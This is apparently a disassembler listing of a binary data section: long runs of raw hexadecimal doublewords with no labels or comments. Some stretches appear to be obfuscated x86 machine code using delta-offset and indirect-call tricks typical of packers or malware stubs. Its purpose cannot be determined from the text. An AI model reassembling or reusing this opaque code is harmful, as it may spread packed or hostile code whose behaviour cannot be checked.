		dd 0D3BEF68Eh, 5176FC0Ch, 0AC857987h, 818FC75Fh, 780C65h
		dd 0FD633D61h, 9E0FEFB0h, 0A4AA5A79h, 36792356h, 905A409Bh
		dd 5000000h, 0ABF839C6h, 0AAF732C9h, 91D182E9h,	0B67B8454h
		dd 22FD020h, 9E0E39B5h,	0C907FAE7h, 410F5176h, 2696C1ABh
		dd 7F3D826Fh, 0EFBD575Fh, 58D12A38h, 807E8CA1h,	3DCC64B1h
		dd 6062A059h, 0E9DB13E1h, 7796299h, 6B1F7EAh, 0DE092D93h
		dd 2ADF063Fh, 1ACA94Dh,	7D670000h, 44B6069Ch, 0E6FF4FE5h
		dd 0B34D9D33h, 6398E87Eh, 0AE1730C6h, 23B9708Bh, 70062BD3h
		dd 0BA50E120h, 69C956Ah, 472B1831h, 0CF5A7F9Dh,	35C664E9h
		dd 0F10E5EF4h, 0C655AA40h, 0C9ABF839h, 1565FB36h, 829047EAh
		dd 7E64B178h, 1EF041Fh,	0A5DD4329h, 9B5780FCh, 0B3768463h
		dd 268004Dh, 0DBFB5E4Bh, 0B5835177h, 6775C368h,	4B022FD0h
		dd 0EB871B39h, 0DF173435h, 738896EDh, 0AFD87EB6h, 0C699863Dh
		dd 4E575F87h, 3C4A3380h, 58C124C3h, 0D50DA5F2h,	0AEFB36C9h
		dd 1C32C8FCh, 0F441F00Eh, 0D4B8A55Ch, 5C6061ADh, 87B0568Eh
		dd 3B495E15h, 0FADE6DC4h, 826061ADh, 54697CB4h,	2A77BA46h
		dd 1019E292h, 9F1AEDD8h, 0D4A25D46h, 0B3D5E73Eh, 79B84782h
		dd 93E0942Ch, 6D79B180h, 0DAE89F92h, 64510821h,	66484A80h
		dd 59023A08h, 9E5D8A77h, 33D8258Bh, 0BF4017E5h,	65C7624h
		dd 2424E050h, 0D472268Dh, 0FA90F688h, 3827E710h, 0E3D4CC3Dh
		dd 7A9F46F6h, 0D705D14h, 95632D12h, 67987AC7h, 4DB37E80h
		dd 0FF0D5B00h, 81A85361h, 870A349h, 40016451h, 0BB896914h
		dd 0A0083B25h, 34C6D4E9h, 0BAD2BDF5h, 0BA6F00D9h, 42BD9FECh
		dd 0F60959EFh, 692DEE3Bh, 2341F553h, 0B54A19EFh, 6996E67Ch
		dd 84927BC8h, 0CD65B277h, 0BA778995h, 270AF503h, 53A146EFh
		dd 0E051AE85h, 4DE41B29h, 0B7CC2315h, 16F7E6CAh, 0B8B96CC2h
		dd 48580A4Dh, 8490C896h, 8069B67Bh, 829A7E6Bh, 5422C217h
		dd 0C4E1Ch, 58B10000h, 41EFF11h, 1BBA39EEh, 1EC6D2E3h
		dd 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h
		dd 2ED2B401h, 11D4B603h, 21D9BB08h, 576FBB08h, 0C781E789h
		dd 4, 3304EF83h, 3C31243Ch, 243C3324h, 0E289525Ch, 4C281h
		dd 0EA810000h, 4, 5C241487h, 68243C89h,	29CCh, 68241C89h
		dd 5EDBAE7h, 83243C8Bh,	0EC8104C4h, 4, 83242489h, 5B042404h
		dd 89FA8952h, 148B0853h, 4C48124h, 0FF000000h, 835B2434h
		dd 34FF04C4h, 0C4815F24h, 4, 0F9B3AAE9h, 43D7A2FFh, 2B2D68C9h
		dd 67E065C1h, 72B8A93Ah, 305EDCCh, 91E0FFC5h, 7C01B71Eh
		dd 956A4730h, 2F4635B8h, 7F1D41F7h, 0E8072D19h,	427B6FBEh
		dd 2157D1B3h, 9841C29Eh, 8D68F764h, 0EDCDD78Dh,	6E805h
		dd 72900000h, 0A9875146h, 175D9D8Bh, 895F05E7h,	0E71AA98Dh
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 1D3977ABh, 0C5DB0D0Ch, 0EE8h, 903F9600h
		dd 0D9A02F70h, 729AFDC6h, 891F4658h, 0E71AC58Dh, 85C75B05h
		dd 5E72A4Dh, 5B00h, 3231B866h, 273985C7h, 5E7h,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0B5FFA6C3h, 5E72B45h, 0F2E5D881h, 0B5310168h, 5E72465h
		dd 179595FFh, 0BABB05E7h, 2B427AE0h, 0E7207D85h, 0FF006A05h
		dd 0E721C195h, 0EBC08B05h, 3598260Fh, 14AFCD3Eh, 0F6BCC10h
		dd 4E540461h, 6E8h, 6D178200h, 29A30569h, 0E72D818Dh, 830F5B05h
		dd 0Dh,	8E9h, 8CFA4200h, 4274E332h, 11C381B5h, 0E9000060h
		dd 7, 19D7180Ah, 0BE5E34A8h, 0
		dd 2459D89h, 0C8B05E7h,	0F98B6633h, 0E10EC181h,	8B6031C2h
		dd 0E723919Dh, 11850105h, 6105E723h, 7CDFC181h,	958B3DC3h
		dd 5E712A5h, 6C1AC181h,	9D09261Fh, 5E7200Dh, 85858B51h
		dd 8F05E71Dh, 800F3304h, 6, 2BFDB589h, 5E905E7h, 22000000h
		dd 0C90A0D55h, 4D4AEE81h, 0D68B1876h, 4D46C681h, 66561876h
		dd 815FFE8Bh, 0FFA0D0FEh, 1C850FFFh, 80000000h,	2FE90FE6h
		dd 6C000000h, 0B2D18922h, 7AA1F224h, 35CBCBAh, 7A854FA7h
		dd 8B21CCA6h, 0E71BB5BDh, 0FF68E905h, 1982FFFFh, 7E2B44ADh
		dd 351AD7C3h, 0D42E3438h, 8EB8A0Ah, 0
		dd 5E58FB29h, 461E9h, 0CFD36800h, 0A0E905EDh, 68FFF9B1h
		dd 5EDD049h, 0F9B196E9h, 0D17468FFh, 8CE905EDh,	0C8FFF9B1h
		dd 1767FD1Ch, 60B046E3h, 0AEFE9485h, 0F949DF52h, 78912702h
		dd 1A0FEC0Fh, 67CA3484h, 0B18081D1h, 0FD34CB1Bh, 8C799267h
		dd 5A7FA2A8h, 0C6C54A30h, 2F3DF435h, 78105DCCh,	4AB59740h
		dd 0DD2230E7h, 402A1C54h, 0D9EEA517h, 0C1F930CBh, 76D36BD6h
		dd 58A57351h, 78D5B797h, 68C1395Ah, 19C2391Bh, 1E064C76h
		dd 89D63C5Ch, 0B906614h, 0C2986E74h, 0ACE44DB4h, 9B571AC4h
		dd 28EFB40h, 57A60000h,	9B0D361Ch, 0E2B4F7E4h, 6E3C5176h
		dd 0E8998001h, 0D601AFDBh, 0A949D518h, 0E74DA70Fh, 2BFC4330h
		dd 647C54C3h, 0E5329881h, 17CE3E69h, 0AA42742Ah, 6F26F45Ah
		dd 0C253325Dh, 38700552h, 49E81725h, 959C63B3h,	0BC527D71h
		dd 6A0EEBDBh, 2BDh, 38CE4B99h, 811712E8h, 0CF65B431h, 1AB0817Fh
		dd 62F831CAh, 3EBDE049h, 0F90555EBh, 0AF52A238h, 639CEC82h
		dd 4A6338CEh, 7FA2795Dh, 961B015Ah, 0DA91FB2Ch,	7C1E5CEDh
		dd 354A5F51h, 7FA26448h, 8F1EEC5Ah, 5A7FA2ABh, 1F2D6533h
		dd 6F8C9A51h, 5F503BAh,	0AAFAEC24h, 0CA8BD851h,	0B15BFC61h
		dd 0FE4F946Bh, 2C568E67h, 0EEA0E74h, 76E4E969h,	247F599h
		dd 0D50F0000h, 9C5EAE44h, 3EA7F78Dh, 0BF545DBh,	0BB409026h
		dd 56BFD86Eh, 0CB61C833h, 18AE837Bh, 62F839C8h,	0AE44ED12h
		dd 0EFD3C0D9h, 775A7FA3h, 0FB2C0C91h, 5CEDDA91h, 64517C1Eh
		dd 2ED1DF96h, 0A2E1C5B2h, 9B695A7Fh, 9354FD35h,	5A7FA2B3h
		dd 0C7B2484Eh, 4091371Dh, 16BFEh, 39C6A900h, 36C9ABF8h
		dd 487B65FBh, 0DD3C29E0h, 5D5176DFh, 0A181428Fh, 3C5A78DFh
		dd 788AA036h, 0F1DE482Dh, 5A79930Dh, 1F13C795h,	0E400EFD5h
		dd 0BCBD9EF4h, 8C361E56h, 6D409BB2h, 39h, 91FB2C18h, 0C3B0C5DAh
		dd 5491D3DFh, 76619967h, 5176FBAFh, 5314612Fh, 5A78FB73h
		dd 5CF2080Eh, 317EB34Eh, 11F5E299h, 995A78FCh, 1AB93CBh
		dd 0E2409BD4h, 9Ch, 0AE39C68Dh,	0C57CE237h, 0D3379B3h
		dd 3C746356h, 0DF4AB193h, 0E24FB092h, 0E54CB395h, 6C96204Fh
		dd 5FA05492h, 0EE0D1BD2h, 9F56EE3Bh, 926CCEB2h,	50885654h
		dd 0D943745Eh, 2FF0D22h, 2C0CF72Fh, 0AC5178FBh,	0E21927DEh
		dd 9A61B147h, 0F9976B8Fh, 4E1E4ECh, 11C60h, 6FAA3A00h
		dd 0B87189D9h, 613D222h, 51E02070h, 99906BBBh, 5E81EA03h
		dd 0A6F68C9Dh, 0F343D958h, 3D8D230Eh, 4D96FC2h,	0A51AFEEBh
		dd 0BCA25A7Fh, 0F435C637h, 40F10E5Eh, 513E53AAh, 5491D36Dh
		dd 0DEEF27F5h, 0ABF839C6h, 65FB36C9h, 29E0487Bh, 769E783Ch
		dd 13E80051h, 0EBF9B016h, 54621910h, 70A93CABh,	89E0D20Ah
		dd 20A38774h, 5D2B5A79h, 5958A5A9h, 427A6858h, 79727757h
		dd 2B06F95Ah, 979A6674h, 0DE1D6D5Fh, 8E5AFE4Bh,	0BB000000h
		dd 91DE53ADh, 90DD4CAFh, 495A92F8h, 0DA91FB2Ch,	7C1E68EDh
		dd 4D9A6851h, 79D946Bh,	8259A2B0h, 0BA4E32BEh, 0E5329869h
		dd 0E61616FFh, 76DC31FEh, 64CD323Eh, 0E21C2E17h, 737A92FDh
		dd 0C352058h, 96151280h, 987AC76Ah, 0DE7CC968h,	0A7277482h
		dd 31CE6573h, 0E51A6A00h, 816FF4Ch, 52EA37F2h, 0E11E2D9Eh
		dd 0C90153C3h, 0A1EE43BDh, 958AEFCh, 2110F1F6h,	40D63CD4h
		dd 0D5220FF0h, 0C31h, 0ADBF9400h, 96C08CCCh, 27CB4D2h
		dd 0FB1EC6BDh, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h
		dd 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 97686FBBh, 8900006Dh
		dd 0BE562424h, 4, 4247401h, 0E189515Eh,	4C181h,	0E9830000h
		dd 240C8704h, 243C895Ch, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 4468240Ch, 89000064h, 2B82404h, 8905EDCFh
		dd 0EC8358C7h, 24248904h, 4240483h, 8BA5259h, 81000000h
		dd 831284C2h, 81CA0108h, 831284EAh, 5A3A8908h, 592434FFh
		dd 8B04C483h, 8950243Ch, 405E0h, 0C0830000h, 24048704h
		dd 0AD4DE95Ch, 0F97CFFF9h, 0B5B84DEEh, 305EDD2h, 88E0FFC5h
		dd 1B05C712h, 3840D1CAh, 2A289792h, 0FA307ACBh,	0A475DF8Dh
		dd 0F57C1243h, 0DC008450h, 34565424h, 0B263ED79h, 971FBE7h
		dd 0F73AAF06h, 4797C43h, 921FCDBAh, 265E5457h, 267A3889h
		dd 0F2370ACDh, 3B651319h, 0E86B76F4h, 5, 3226E61Fh, 0A4DF81E5h
		dd 5A0F167Eh, 80C78166h, 0CEC28127h, 0F000060h,	0C02BCABFh
		dd 6880Fh, 0C7810000h, 4EBF52A2h, 0E81034FFh, 12h, 1C6643FEh
		dd 0E7B52985h, 723117A6h, 6622233Dh, 0BE66CDDDh, 5B5E0E31h
		dd 8A0Fh, 0C3810000h, 51E9E8EDh, 0C9B96660h, 0F8E0F56h
		dd 0E9000000h, 0Ah, 314408Ah, 1B0B2B5Fh, 81611F5Dh, 0BB7999C3h
		dd 0E9816646h, 0C3815118h, 5EE2D4B0h, 0F63A2DB9h, 21C8913h
		dd 7E9h, 66ADD300h, 81D1F6D6h, 0AECCFDBEh, 4E88336h, 0DE8h
		dd 1176C400h, 0CD433B4Eh, 640AD6E2h, 810FE0A2h,	2, 815E6160h
		dd 0FF9FF4F8h, 65850FFFh, 0FFFFFFFh, 8D8DC8BFh,	5EDD50Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D7C35141h
		dd 0E9BD8B5Ah, 8905E711h, 0E71AA98Dh, 94AABB05h, 85C71613h
		dd 5E72A4Dh, 70A0h, 1841BD89h, 0DE905E7h, 2E000000h, 0B1A956E0h
		dd 5E67F41Dh, 0EF4A5B7Bh, 273985C7h, 5E7h, 8B560000h, 0E70B2995h
		dd 0B5FF5B05h, 5E71639h, 25598589h, 95FF05E7h, 5E71795h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 63C35242h
		dd 8D29C898h, 5E7048Dh,	8E5B58Bh, 6A05E7h, 21C195FFh, 0C08B05E7h
		dd 6BC50DEBh, 6F160786h, 0EBB7A50Fh, 0E80FD75Eh, 14h, 0EA6F8B00h
		dd 0BBF590Dh, 0EF26CDBFh, 81146E4Ch, 20208290h,	20759D31h
		dd 805F05E7h, 0C78184CCh, 73C9h, 910A23B8h, 0BA57h, 8D890000h
		dd 5E70C19h, 8917348Bh,	0E7155185h, 0CFEE8105h,	94B4053h
		dd 0E70AE9B5h, 0EDF68105h, 0F81483ABh, 0E202C681h, 28B7339Bh
		dd 0C1816656h, 48F285Eh, 5840F17h, 66000000h, 0C805D081h
		dd 841B589h, 0EA8105E7h, 56DD13E3h, 6850Fh, 0BD290000h
		dd 5E717BDh, 13DFC281h,	81F856DDh, 0FF8CFCFAh, 13850FFFh
		dd 0F000000h, 2AE9C1BFh, 14000000h, 0F632D109h,	15769015h
		dd 0DE98710h, 9D000000h, 793CC666h, 84A9E3FDh, 0B9CA0F8Eh
		dd 0FFFF73E9h, 0A1BE80FFh, 0C0CB2C0Eh, 13E851h,	0E2DE0000h
		dd 3F484709h, 0C2D4A6D2h, 0CC8A7923h, 0FE0F62C5h, 0C0B70FADh
		dd 51C2815Ah, 8B00005Dh, 0E70A8D85h, 0BF05h, 4AB00000h
		dd 0E91734FFh, 6, 0D1122646h, 0E959F065h, 0Ah, 1BC91456h
		dd 893D104Bh, 0C18129BAh, 171BF9A7h, 4559589h, 0F18105E7h
		dd 740C9D53h, 3E981F8h,	817A0251h, 0B5D253C6h, 3A0C8906h
		dd 55BD89F5h, 8105E704h, 0F1B85EEFh, 13E84Ah, 0C61A0000h
		dd 2D468678h, 0BDD3A2C9h, 0BAF0F3ACh, 5A5CE57Ah, 0E0816623h
		dd 8158C4FAh, 0F1B85AC7h, 0C2BF0F4Ah, 0A378FF81h, 850FFFFFh
		dd 10h,	1CE9BAB4h, 0AF000000h, 0BB6A9A85h, 3F0DC81Ch, 0FF6AE9F5h
		dd 0A518FFFFh, 0E9ED14AAh, 0BD522257h, 0E8E72695h, 10h
		dd 0D98F3C3Ch, 0D7905C7Bh, 8065A1h, 9AA63082h, 5BFBBF0Fh
		dd 0C381CF8Bh
		dd 5CA2h, 0E0BDE981h, 75BE50ABh, 8120BC2Fh, 0BC187BEEh
		dd 7EE48020h, 8E933FFh,	0D000000h, 0BE6DAD8h, 5AC4FE94h
		dd 5940EA81h, 0EA81528Ah, 5A3233CAh, 662EBF66h,	0C394EA81h
		dd 0DE8056Dh, 13000000h, 13A289B5h, 8D5D1177h, 0B2BF0AB3h
		dd 5F1CD080h, 0BDBD8B52h, 8F05E71Ch, 5FD48003h,	8104EB83h
		dd 509E04E0h, 1EE8314h,	1A850Fh, 0E18A0000h, 2DE9h, 0A8073800h
		dd 0C3904882h, 4F072581h, 18536E65h, 2A8C72A6h,	0E984E880h
		dd 0FFFFFF84h, 41340172h, 0D830148Fh, 4335D27h,	82E4B04Eh
		dd 0C08BFF2Ch, 0C81BD83h, 750005E7h, 19BD8309h,	5E728h
		dd 53501974h, 21B8C08Bh, 89000004h, 0E7047D85h,	939D8D05h
		dd 0FF05E9B4h, 83585BD3h, 0E72819BDh, 17740005h, 21B85350h
		dd 89000004h, 0E7047D85h, 829D8D05h, 0FF05E9B1h, 8B585BD3h
		dd 4D9D8BC0h, 0C605E713h, 0E732A585h, 52685605h, 0FF9CA8B8h
		dd 0E72B05B5h, 0A1858D05h, 0FF05EA7Dh, 68046AD0h, 1000h
		dd 8EDB5FFh, 6A05E7h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h
		dd 0E772CA8Dh, 8BE1FF05h, 3C38BC8h, 0F8053C40h,	8B000000h
		dd 0D3030C50h, 1B41BD83h, 0F0005E7h, 0E84h, 419D8B00h
		dd 8B05E71Bh, 0E71B1985h, 51038905h, 6F858D52h,	0FF05E741h
		dd 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 0E732A585h, 39685605h
		dd 0FFD41F6Dh, 0E72B05B5h, 0A1858D05h, 0FF05EA7Dh, 800068D0h
		dd 6A0000h, 8BD0FF52h, 81BD83C0h, 5E70Ch, 0BD830975h, 5E72819h
		dd 50197400h, 0B8C08B53h, 421h,	17758589h, 9D8D05E7h, 5E9B4FAh
		dd 585BD3FFh, 2819BD83h, 740005E7h, 0B8535017h,	421h, 17758589h
		dd 9D8D05E7h, 5E9B19Bh,	585BD3FFh, 9D8DC08Bh, 5E71B41h
		dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h
		dd 0CAFE0000h, 0A80B67F0h, 8A4FEC77h, 0A80B643Fh, 75EAD5ABh
		dd 0A80B6497h, 8A4FED7Dh, 57AE5DBAh, 8A4FED2Ah,	0A80B6587h
		dd 75EAD5ABh, 0A80B6A4Eh, 8A4FE218h, 0A80B6AC8h, 8A4FE29Ah
		dd 0A80B6B42h, 75EAD5ABh, 0B8D42F25h, 310C78Eh,	458945C0h
		dd 0F490A751h, 21544F9Fh, 67CDC1D1h, 7DD42F40h,	310C78Eh
		dd 45894DC0h, 0A790A751h, 21544F9Eh, 67CDDDD1h,	2CD42F40h
		dd 310C78Fh, 458959C0h,	5390A751h, 21544F9Eh, 67CC29D1h
		dd 0B5D42F40h, 310C788h, 4588A5C0h, 0EC90A751h,	21544F99h
		dd 67CC25D1h, 0FD42F40h, 310C788h, 4588B1C0h, 6290A751h
		dd 21544F99h, 67CC3DD1h, 81D42F40h, 310C789h, 4588B9C0h
		dd 0E890A751h, 21544F98h, 67CC35D1h, 12B8C340h,	0DF152A50h
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 53DFC0D5h,	0ED96A7A8h
		dd 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h
		dd 415564C6h, 75EAD5BAh, 3AAE63CEh, 8FF23E71h, 0AB534284h
		dd 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h
		dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
		dd 62AD6C54h, 351A241h,	27BFEA66h, 3DB2FEEh, 7510C454h
		dd 2011294h, 8ABEA0D9h,	79AEA7ABh, 0AE51A1ECh, 22DC0941h
		dd 8FFB2AFFh, 103773BAh, 21732ADFh, 0A8FA28C8h,	5BEA2FBAh
		dd 8C152BFDh, 988150h, 0ADBFA2EEh, 0D2A5FBABh, 0A42C89EFh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 509FC0D5h, 0DDDAA7A8h, 8668A15Ch, 0A8ADE782h
		dd 0CC152A54h, 880830BAh, 529E2FB3h, 83FC69CEh,	0E2A5B997h
		dd 0F9FA31EFh, 8ABEA0D9h, 79AEA7ABh, 20949A0Dh,	8C551A23h
		dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8A15C234h, 290BA245h, 67CFCBBEh, 0A0242940h
		dd 4D1957DFh, 0A8515E00h, 75532A54h, 4F71FBD7h,	19CDA151h
		dd 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 8ABEA0D9h, 79AEA7ABh
		dd 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh, 174D629h
		dd 6A985E00h, 1402A5Ch,	549521A9h, 8260A134h, 6F5DDFCEh
		dd 8A15D611h, 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh
		dd 2851A245h, 0E1AD5A8h, 0A851A25Eh, 8A1523EDh,	2DA05545h
		dd 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h
		dd 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h
		dd 11D5FDFh, 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h
		dd 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h
		dd 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h
		dd 39191EFh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh
		dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h
		dd 0A7B2229Dh, 85E1D4h,	22DC0886h, 8FFB2AFFh, 0F8E173BAh
		dd 219FA7FEh, 57544C45h, 20D6A085h, 215DDF6Eh, 174D629h
		dd 6A985E00h, 1402A5Ch,	549521A9h, 8260A134h, 6F5DDFCEh
		dd 8A15D611h, 0AFE9A245h, 75152A54h, 4F4587D7h,	20452651h
		dd 0A8FA28C8h, 5BEA2FBAh, 9BFB2BF5h, 85318694h,	0AC59622Eh
		dd 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h
		dd 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h
		dd 0D387D5FEh, 23544565h, 4917868Ch, 3DB2FEFh, 7510C454h
		dd 28E9C494h, 0BE4CBDh,	0D57A0886h, 7668A358h, 54142924h
		dd 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h, 7650ED58h
		dd 0A851A245h, 18EA80F8h, 0ADB6821Ch, 58B9E2DFh, 32DC0885h
		dd 8FFB2AFFh, 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h
		dd 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh
		dd 0CFD22629h, 0A851A2B9h, 75BF8654h, 4F71FBD7h, 26DDA151h
		dd 25FB6377h, 641581CEh, 0CE825D40h, 0ECE4AAECh, 29028EEh
		dd 319577Fh, 23305E38h,	48DCD611h, 2304A24Dh, 76D1A9B8h
		dd 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h
		dd 8ABEB0D9h, 7BAEA7ABh, 4B959232h, 4FD0923h, 866801FEh
		dd 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h
		dd 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 218FA7FFh
		dd 57544C45h, 20A09A87h, 25FB0E03h, 641581CEh, 0CE825D40h
		dd 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 57A7C0D5h,	0ED96A7A8h
		dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h,	8A152A1Eh
		dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
		dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
		dd 0A851D6ACh, 8660D554h, 2559D7BAh, 67CDCDCEh,	32DCF140h
		dd 8FF8F3EAh, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
		dd 70A638C8h, 7462FB9h,	45881CDFh, 3C6D551h, 92B85E00h
		dd 75152A54h, 0DDAEAE30h, 898FA75Ch, 0FB544F9Ch, 53ABB0D9h
		dd 7BAEA7A8h, 63E96FDDh, 0A851A258h, 75195FABh,	32DCAA30h
		dd 8FF8F35Bh, 16CB2F16h, 7510C78Dh, 54142B96h, 8A152ABDh
		dd 0EDDAC345h, 82D7E3A8h, 3044BA45h, 8D8D0000h,	5EDDF4Bh
		dd 0EE9h, 0AE768B00h, 648C7435h, 577173Ch, 89E90BA1h, 0E71AA98Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8D293B4Dh, 5E7318Dh, 2A4D85C7h, 74D005E7h
		dd 30B80000h, 0C71C4D0Dh, 0E7273985h, 5, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0A6BA66EAh, 49B5FF90h, 6A05E724h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1869C351h
		dd 22F7E7ECh, 9595FFB2h, 6A05E717h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B03AC353h
		dd 0FF006AB0h, 0E721C195h, 0EBC08B05h, 0B636FB3Ch, 0EC647C4Ah
		dd 654D2F93h, 69433764h, 4BA61383h, 0C6E14BDh, 7C686234h
		dd 0C4DA0602h, 490B4118h, 0F2588E37h, 3F090A4Dh, 1519DAADh
		dd 0C886C289h, 27B70147h, 76FEB642h, 878D8D9Bh,	6A05EDE0h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0F89DC353h, 8166F819h, 89E2ECE8h,	0E71AA98Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0BE5085EDh, 0B4362371h, 4D85C788h, 0F805E72Ah
		dd 6A00005Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 10E2C352h, 0EADF9E0Ah,	0AE9709Dh
		dd 95000000h, 89187CBEh, 73BC9F0Fh, 3985C732h, 5E727h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 274BC355h, 587A4F16h, 0A7BB663Eh
		dd 0E1B5FFF7h, 0FF05E71Ch, 0E7179595h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0FD047864h, 89634140h, 0E70C3DB5h, 0FF006A05h, 0E721C195h
		dd 0EBC08B05h, 97A3EA4Fh, 644FA055h, 0A3713E91h, 12F757E4h
		dd 98CC4F18h, 0E492422Bh, 0BD38D464h, 956493F3h, 0EBDC32C7h
		dd 3F25694Dh, 0CD76D8A9h, 1ABB68F7h, 0B0A21491h, 7C0B8E48h
		dd 0FAADDF57h, 4BC67FEDh, 0E408279Dh, 0F3DB339Ah, 645D5E71h
		dd 6A9A85AFh, 0CE8h, 0C58B8600h, 66048BB7h, 204A22DFh
		dd 0C1BF0F18h, 0ACB9665Fh, 71C78109h, 60000069h, 80A6BB66h
		dd 6880Fh, 8D890000h, 5E721D5h,	6861h, 9D290000h, 5E70155h
		dd 34FFF55Bh, 9E83Bh, 78450000h, 57F7023Fh, 81402530h
		dd 0BC618DF6h, 0B85A5835h, 18BF683h, 4E0AEA81h,	0F2813A5Fh
		dd 25E6A7Dh, 0EE8h, 0E8FA6600h,	0C83B9DF7h, 99EA43E2h
		dd 0F8012FB7h, 0E4EA8159h, 0B048A374h, 48F5297h, 0E5BD891Fh
		dd 8105E732h, 0F4C400D9h, 0CCEB8148h, 0E9268156h, 13h
		dd 0D115117Fh, 7671FB26h, 71306304h, 0C53D341Dh, 816D0AC9h
		dd 8156C8C3h, 81E28A26h, 0FF9778FBh, 13850FFFh,	80000000h
		dd 23E969CCh, 17000000h, 296725A1h, 187D96C7h, 94BEE8A0h
		dd 0E94E552Dh, 0FFFFFF5Ah, 2587E1Eh, 0DD6C004Ah, 0E626A8Bh
		dd 16EB8FAFh, 5	dup(0)
		dd 3E00101h, 5ED0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 78C35646h, 83F2DEEEh,	50CEBF0Fh, 0D763BF66h
		dd 66240489h, 804F381h,	0BE8006Ah, 1A000000h, 0EF6128EEh
		dd 139038D1h, 7E95A3Dh,	88000000h, 9086DAF8h, 6A5FDBD1h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0C165D84Eh, 8DEF7E9Fh, 0EDE31E85h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0A2D59E60h, 129A1DE7h, 8D8B033Dh, 5E71205h, 0DE950h
		dd 5E80000h, 0F38263Ch,	0BF4565D4h, 8993EE47h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 89E3E3C3h, 0E71A3995h, 0E99D8B05h, 6A05E712h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0D5A5E59Dh, 8B66006Ah, 4D95FFFAh, 6A05E71Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 32BAC357h, 657E911h,	0E8F50000h, 0
		dd 23ED815Dh, 6A05EDE3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 26B8C351h, 0D78BF2ACh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h
		dd 5224122Bh, 35BD09BFh, 8005E701h, 626854D3h, 0B37E7689h
		dd 243481A4h, 7E7686C2h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0E5C35343h, 0A5B3B06h, 73C78166h, 0DBB70F8Bh
